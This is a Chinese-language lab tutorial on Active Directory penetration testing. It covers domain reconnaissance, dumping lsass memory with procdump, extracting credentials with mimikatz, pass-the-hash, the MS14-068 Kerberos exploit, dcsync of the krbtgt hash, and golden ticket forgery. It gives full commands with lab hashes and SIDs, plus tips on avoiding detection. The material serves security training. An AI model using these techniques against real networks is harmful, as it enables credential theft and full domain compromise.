0x08 域渗透
一、简述
在内网中有一个出口路由器(防火墙),然后中间有一台web服务器,这个web对外提供一个web服务通过防火墙映射出来,然后我们通过web的漏洞获得了该web服务器主机的一个system权限,然后这个时候如果甲方有进一步的内网渗透需求,以证明企业面临的一个风险,那这个时候我们就需要做一个内网渗透,那非常常见的一个情况就是这个web服务器是处于一个域内环境的主机,那这个时候我们打进去实际上打的就是一个域渗透,事实上域渗透也是内网渗透的一种,域渗透做为一个比较大的体系它的攻击思路和其他内网渗透是不太一样的

二、实验部署环境
域控:Windows Server 2008 R2 IP:10.1.1.1
域内主机:Windows 7 专业版 IP:10.1.1.100
注: 在Windows 7的cmd上复制的技巧,先右键->标记,然后选中要复制的内容,右键,成功复制,在自己的电脑上Ctrl+V即可
三、域渗透的步骤
我们就直接用这台Windows 7来模拟一个已经被攻陷的设备,就不说用什么msf再去打这台Windows 7了,这个时候呢就会很麻烦了,虽然说实战确实是这样做,我们为了节省一些没必要的步骤,我们就选择直接操作了,打开cmd进行命令操作
3.1 域内信息收集
进入到域环境之后,首先我们要判断这是一个域环境,这时候我们就需要用到一些命令
3.1.1 判断环境
在实战中,以下命令回显的信息记得都要及时保存,尽量不要进行重复的命令查看,在域内留下的信息越少越好,一个是增加他们蓝队排查的难度,还有一个就是避免被溯源出操作轨迹和行动,所以说操作越少越好
route print # 查看路由信息(收集域内网段信息)
判断哪些网段跟你互通,比如说你把当前网段打穿了你就可以打下一个网段,或者说当前网段无从下手的话你就可以查看下一个网段的一些设备
arp -a # 查看arp表(收集域内网段信息)
查看跟你互通的设备地址,与route print的效果差不多
ipconfig /all # 查看网卡信息(判断是否为域环境,收集域控地址和域名)
查看回显,一般在我们电脑上主DNS后缀都是空的,但是在这台域内Win7却有主DNS后缀,其实,如果拥有主DNS后缀的话这台设备大概率就是一台域内主机,而主DNS后缀显示的就是它的域名称,然后再翻下来,查看DNS服务器,显示10.1.1.1指向域内,那DNS指向域内(内网)地址的时候,这时候就会出现两种情况了
DNS服务器指向内网的地址 1>域内DNS服务器 2>域控
大部分情况下都是指向域控,除非说渗透的内网非常大,那边的网络工程师也比较专业,资源也比较丰富,他专门搞了一台DNS服务器来做一个域内的解析,那这种情况才是选择第一种3.1.2 收集本机信息
whoami /user # 显示出本机的用户名和SID(收集域SID)
User Name SID========= ==============================================csb\lei S-1-5-21-2436503632-2301858049-3091047699-1106
域SID: S-1-5-21-2436503632-2301858049-3091047699域内权限: 11063.1.3 收集域内信息
net view # 查看域内在线主机(注意这条命令需要关闭当前防火墙才能正常回显)
net view /domain # 查看当前有几个域(其中的WORKGROUP是默认工作组不是域)
我们在进行域渗透的时候是有小概率遇到域森林这种东西的,就是有多个域环境同时叠加,那我们这个设备有可能处于多个域中,就可以通过这条命令来进行查看
net user /domain # 查看域内用户(可以收集到域控主机名)
net group /domain # 查看域内组别信息
其中的Enterprise Admins(企业级管理员)才是真正的高权限管理员,一般情况下是不会有这个企业级管理员的设置的,企业级管理员一般在域森林,多域的环境下才有可能会有
域控=>单域 企业级管理员=>域森林
net group "组名" /domain # 查看组内用户
这条命令要先配合着之前那条net group /domain用,先看有什么组,然后查看几个关键的组别(Domain Admins/Domain Controllers 或者 Enterprise Admins等),命令示例net group "Domain Admins" /domain3.1.4 定位域控
- net user /domain
- net group “Domain Controllers” /domain
3.2 本地认证
我们需要先了解一下Windows的认证机制,Windows用户的账号密码存放在 C:\Windows\System32\config\SAM就是存储主机账号密码的数据库文件,那这个时候我们本地认证要了解的是Windows的登录过程

winlogon.exe: 输入账号密码的登录页面
lsass.exe: Windows系统的安全机制,影响本地安全和登陆策略
3.2.1 NTLM hash
Windows本身不会存储明文密码的,所以说在SAM文件中存储的密码是散列值,然后在登录过程中用户输入的密码转换为散列值做匹配
3.2.2 加密过程
password=>hex=>unicode=>md4=>NTLM hash
3.2.3 存储密码的格式
例:administrator:500
LM hash是Windows为了提高它的一个安全性采用的一个散列算法,本质上是DS加密,因为它比较容易破解所有后续都采用NTLM hash,但为了保证系统的兼容性,Windows只是禁用了LM hash,LM hash的加密是存在有缺陷的,它的明文被限制在14位以内,所以说如果你要停用LM hash,你的密码只需要设置到14位以上即可
如果
hash开头是AAD3B,那么它的密码则是一个空密码或者未设置密码
通过以上这些东西我们能看出两种情况,一个是如果他停用了LM hash,那么他的一个密码就在14位以上,二是如果LM hash他的开头是AAD3B,那么我们就可以知道他是空密码或者未设置密码
3.3 从lsass.exe获取密码
在我们登录的时候winlogon.exe将账号密码发给lsass.exe,lsass.exe读入内存,同时lsass.exe会去SAM文件读取密文密码也读入内存,那这个就意味着它这个程序的内存中同时存放着明文和密文,lsass.exe这个进程也会一直存在着,在任务管理器可以看见,内存这个东西可以通过OD动态调试,可以调试的出来
3.3.1 lsass.exe
在内网进行提权、横向,最常用的方法就是dump进程lsass.exe内存从中获取明文口令或hash
然后要注意这个lsass.exe是一个系统进程,用于Windows系统的一个安全机制,主要是在本地安全和登录策略这一块,那在lsass.exe的进程空间中,存放着该主机的域,本地用户名,密码等重要信息,这里有个前提条件就是,lsass.exe是一个系统级的进程,所以首先需要提权获取高权限
这时候会有一个问题,我都拿到root/System权限了那还要账号密码干嘛?如果说你想实现一个远程登录(RDP),那这个时候拿到对方的root权限是没有用的,要拿到对方的账号密码才能正常的RDP连接,包括SSH
3.3.2 procdump
监测应用程序的CPU异常动向,并且对内存做一个转储。
3.3.2.1 相关参数
-
-ma: 写入完整的转储文件
- 所有内存(映像、映射和专用)
- 进程、线程、模块、句柄、地址空间等所有元数据
-
-accepteula: 自动接受Sysinternals许可协议
procdump有多版本,实际渗透中这东西需要放到对方电脑去执行的,要先判断对方电脑的架构才去上传相对应的版本
因为lsass.exe是需要管理员权限才能调用的,所以我们cmd直接使用管理员权限执行来模拟一个提权后的场景
procdump64.exe -ma -accepteula lsass.exe passwd(cmd必须要管理员权限)
这个时候桌面就会有一个passwd.dmp,这里的.dmp就是内存转储文件,这个内存转储文件如果我们进行手动的分析是十分麻烦的,那我们就需要用到一些其他的工具进行调试,就譬如mimikatz
3.3.3 mimikatz(强大的轻量级调式工具)
调式工具,功能强大,能直接读取WindowsXP-2012密码,它的主要用途就是能从内存中提取纯文本密码
首先把mimikatz和刚才的内存转储文件放在同一个目录下,好调用,这里需要注意因为mimikatz很容易被电脑监测出来时黑客工具,所以我们需要将刚才的转储文件先上传到我们自己的电脑,用自己电脑的mimikatz分析这份内存转储文件
mimikatz.exe
coffee # 没什么用途,就是单纯print出一杯热腾腾的卡布奇诺
sekurlsa::minidump ./passwd.dmp(minikatz.exe要与passwd.dmp放在同一目录下)
sekurlsa::logonpasswords(实战中拿到如图所示的内容就意味着结束,保存回显内容即可)
但是有时候我们去复制这些回显内容的时候,很大概率会发送闪退,因为读取内存本身就是逆天而行的,我们可以先输入log,桌面上就会一份mimikatz的日志文件,我们输入的命令和输出都会记入到日志文件里,方便我们进行复制操作
log

还有就是虽然我用管理员执行的mimikatz,但是这并不意味着mimikatz就是管理员权限,它有一些模块必须要有管理员权限才能使用,mimikatz有自带的提权模块,但是这个提权像漏洞一样提权,而是提升mimikatz这个工具自身的权限,它会依据cmd这个终端的权限来提升,如果说cmd是以管理员权限打开的mimikatz,那mimikatz进行提权后也会获得管理员权限
privilege::debug
这就意味着mimikatz的权限提升了,进入到了一个调试模块,这个模式只有管理员才能进入
四、PTH(pass-the-hash)哈希传递
当我们使用mimikatz去拿密码的时候,有时候会出现密码看不见,没有爆破出明文密码,但是它有LM hash和NTLM hash,这种情况是有利用空间的
PTH: 攻击者可以使用用户密码的hash值对远程服务器进行身份校验,扩大战果,它的实现原理其实是撞库,就是密码匹配嘛,它的前置条件就是密码相同,当你密码相同的时候hash值就是相同的,因为他没有进行加盐操作,那哈希传递无非就是我不用密码登录我用hash登录这样的一个漏洞
在有NTLM hash的情况下,我们可以使用mimikatz的一个PTH模块来发起一个攻击
攻击缺陷: hash保持静态(密码保持相同的同时不修改密码,因为域内不可能所有用户的密码都不一样嘛,有可能管理员会设置一些默认密码等等)适用于: 域/工作组,可以获取hash但是不能爆破hash,同时内网中有相同密码的机器补丁: KB2871997 修复了普通用户能够PTH的漏洞(但是这个补丁并不算非常关键的修复,因为管理员还是可以PTH,我们要是能拿到LM hash这就意味着我们从lsass中dump出密码来了,这就意味着我们本身就是一个管理员权限了,但是这个补丁又有一定的影响,当你作为后门使用的时候,可能说它就是一个普通用户,里面有一个管理员的LM hash了我想进行一个登录,我还得把这个普通用户进行一个提权我才能PTH)
#从sekurlsa::logonpasswords拿的
msv : [00000003] Primary * Username : lei * Domain : CSB * LM : e7a7cfeb052331cbd9efd7f401356d4b * NTLM : f7b87deb4a556bee78a8033cb08c5695 * SHA1 : bcbf3d09c6e35d3cd5f03558e30c2ccb2002e04d4.1 基本条件
- PTH的对象: 查看域内用户(net user /domain),选择对象
- 域名: net view /domain
- NTLM hash: procdump配合mimikatz来完成
4.2 发起攻击
首先得保证提权成功进入debug模式(privilege::debug)
这里我的域控用户为administrator,域控IP:10.1.1.1,域名为csb,NTLM hash为f7b87deb4a556bee78a8033cb08c5695
模板:
sekurlsa::pth /user:<pth对象> /domain:<域名> /ntlm:<ntlm hash> [/run:name]
举例:
sekurlsa::pth /user:administrator /domain:csb.com /ntlm:f7b87deb4a556bee78a8033cb08c5695这个时候会默认弹出administrator这个域控用户的cmd

查看是否为域控用户
whoami
查看域控的C盘内容(我的域控IP:10.1.1.1)
dir \\10.1.1.1\c$
-
psexec
- set smbdomain 域名
- set smbpass LM
- set smbuser 用户名
-
wmiexec
- set
远程执行的命令 - set rhost 目标IP
- set smbdomain 域名
- set smbuser 用户名
- set smbpass LM
- set
psexec和wmiexec的差别: psexec会留下大量日志,而且有可能会失败,而wmiexec会更加隐蔽
五、Kerberos认证协议
Kerberos认证协议是一种第三方协议,它通过使用对称加密技术,然后为客户端和服务器的应用程序提供一个强身份验证
- 提供服务的Server
- 访问服务的Client
- KDC:密钥分发中心
- AS:身份验证服务
- TGS:票据授权服务
TGT:票据授权票据
5.1 认证过程
DC是域控,KDC是DC下的一个第三方服务,客户端首先向AS发起请求,这个时候AS会给客户端返回一个TGT(票据授权票据),其实相当于你去买了张票,然后这个时候你拿到了这个票根,然后TGS这时候就要上场了,首先我们向TGS发起一次访问,那这个访问的时候我们会带上我们的TGT,TGT就会发给TGS,TGS解密TGT成功之后,它会获得一个新的票据返回给我们,这个票据也是TGT,但这个时候的TGT才是真正的TGT,是完整体,就相当于你去AS那边去拿了一个票根,拿TGS盖了一个章,那这个TGT只有真正盖过章之后才是有效的,那这个时候我们就可以拿这个完整TGT去访问服务器

- 客户端向AS发起请求,获得TGT
- 客户端使用从AS获得的TGT,向TGS发起请求,TGS解密TGT后,生成新的票据返回客户端
- 客户端就可以使用TGS返回的票据向服务器发起访问
六、PTC(pass-the-cache)缓存传递
如果我们能拿到用户的TGT然后将它导入到内存中,那么是不是可以冒充该用户获取访问权限?这就是PTC缓存传递,这里我们需要使用一个漏洞
6.1 MS14-068
MS14-068是KDC的一个Windows漏洞,它允许经过身份验证的用户在Kerberos票据中,也就是TGT插入任意的一个PAC(用户权限),该漏洞是一个dll的漏洞,在密钥分发中心的洞,也就是域控的洞,这里有一个前提是高权限
可以在GitHub上下载WindowsExploits,里面有非常多的漏洞,其中就有这个MS14-068
补丁: KB3011780
6.2 利用条件
- 获取一台主机权限
- 收集到计算机用户的账户密码、SID、域名信息、没打补丁
6.3 漏洞利用
模板:
ms14-068.exe -u <用户名@完整域名> -s <域SID> -d <域控IP地址> -p <用户密码>
举例:
ms14-068.exe -u administrator@csb.com -s S-1-5-21-2436503632-2301858049-3091047699-1106 -d 10.1.1.1 -p Cc261360*
# 要伪造谁的就要打谁的密码,用户密码和用户要一一对应
可以发现在桌面上生成了一个票据(TGT_administrator@csb.com.ccache),现在回到mimikatz这里来,先debug提权一下(privilege::debug),然后使用kerberos这个模块
kerberos::ptc TGT_administrator@csb.com.ccache
misc::cmd
会弹出一个刚才伪造的高权限用户的cmd,dir \10.1.1.1\c$成功查看到域控用户C盘的信息

七、PTT(pass-the-ticket)黄金票据
KDC的作用是生成任意用户的TGT,那什么条件能够让KDC生成任意用户的TGT呢?那这个问题我们就得回到kerberos认证过程,那么在Windows的认证过程中,客户端将自己的信息发送给KDC后,KDC是怎么加密出来的呢?这边提到一个非常重要的密钥,可能说在这个域中,我的密码是xxx,我生成了这么一段哈希,但是在另一个域中,我相同的密码却是不一样的哈希,这是因为每个域中都有一串独立的哈希,这个独立的哈希在创建域的时候就会自动产生,那这个哈希是什么?->krbtgt这个用户的密码hash
我们一开始就有提到过krbtgt这个用户非常重要,因为它的密码的hash值是作为密钥来使用的,用它密码的hash值来做成密钥生成任意用户的TGT,那么就很简单了,如果我们能拿到krbtgt这个用户的密码,是不是就可以伪造任意用户的TGT了?但是要注意一下,krbtgt这个用户它在域控上,所以你要使用黄金票据,就意味着拿到了域控权限
黄金票据这个东西不能够帮助你做到一个突破,它不是突破的洞,它是后门,它是一个非常霸道非常无敌的后门
7.1 使用条件
域名称、域SID
csb\administrator S-1-5-21-2436503632-2301858049-3091047699-500
- 域名称、域SID: whoami /user
- 要伪造的用户名
user /domain - krbtgt的用户名
挂到域控上面直接去dump
7.2 发起攻击
为了方便,我们直接在域控服务器上进行操作,老样子先进入mimikatz.exe然后提权privilege::debug提权,然后
lsadump::dcsync /user:krbtgt
那这个时候我们要复制里面的内容有可能就会发现闪退了,为什么会出现这种情况?在某些设备,你用mimikatz并且复制mimikatz的内容可能会导致闪退,同时,电脑系统会变得异常卡顿,因为分析内存本身就是逆天而行,这时候出bug了遭雷劈了,这时候整个系统就开始出现一些问题了,这时候重启是最快的办法,但是实战中重启不太现实,所以在mimikatz输入这些命令之前,我们使用log命令,让minikatz开启一个日志服务,它会在桌面上文件日志,你输入的东西和回显都会生成在里面,之前有提到过,这里再重复一下

** SAM ACCOUNT **
SAM Username : krbtgtAccount Type : 30000000 ( USER_OBJECT )User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )Account expiration :Password last change : 2024/1/26 19:59:55Object Security ID : S-1-5-21-2436503632-2301858049-3091047699-502Object Relative ID : 502
Credentials: Hash NTLM: d1ffa93e37a2a8b1431ca00ab8d427f7 ntlm- 0: d1ffa93e37a2a8b1431ca00ab8d427f7 lm - 0: 9b3c5456616c7da12caf802f97d7c93d现在要素齐全了
那注意一下我们现在要做什么?是在生成票据,那一个用户只有一个票据,那如果说一个用户有票据了你再给它导入一个票据就会发现导入不进去,那这个时候就得把我们原先的票据清空再导入新的票据,那要注意这是一个高风险的动作,如果说你生成出来的票据是不可用的,同时你清空了当前票据,那就意味着你的用户脱离了域的范围,可能没法进行后续渗透了,所以你得保证你的票据是没有问题的,但是大概率的情况下你的票据都没有问题,只能说小概率有可能会出现一点bug,就没办法导入票据什么的这种情况
那我们回来到Windows 7的mimikatz这里清空票据
kerberos::purge
模板:
kerberos::golden /user:<伪造的用户名> /domain:<完整域名> /krbtgt:<krbtgt用户的Hash NTLM> /sid:<域SID(最后那一部分不用)> /ticket:<要保存的文件名>
举例:
kerberos::golden /user:administrator /domain:csb.com /krbtgt:d1ffa93e37a2a8b1431ca00ab8d427f7 /sid:S-1-5-21-2436503632-2301858049-3091047699 /ticket:csb.kirbr
kerberos::ptt csb.kirbr
misc::cmd
一样会弹出一个刚才伪造的高权限用户的cmd,dir \10.1.1.1\c$成功查看到域控用户C盘的信息

八、结束语
当然域内还有一些其他漏洞,以上讲述的都是一些最常用而且最好用的漏洞,那还有一些其他的比较偏门的漏洞遇到了才能看到那种情况,一般来说我们都会通过一些现成的网站来获取对方系统版本的漏洞,网络上都会有一些现成的网站需要自己去寻找
闽公网安备 35050402880173号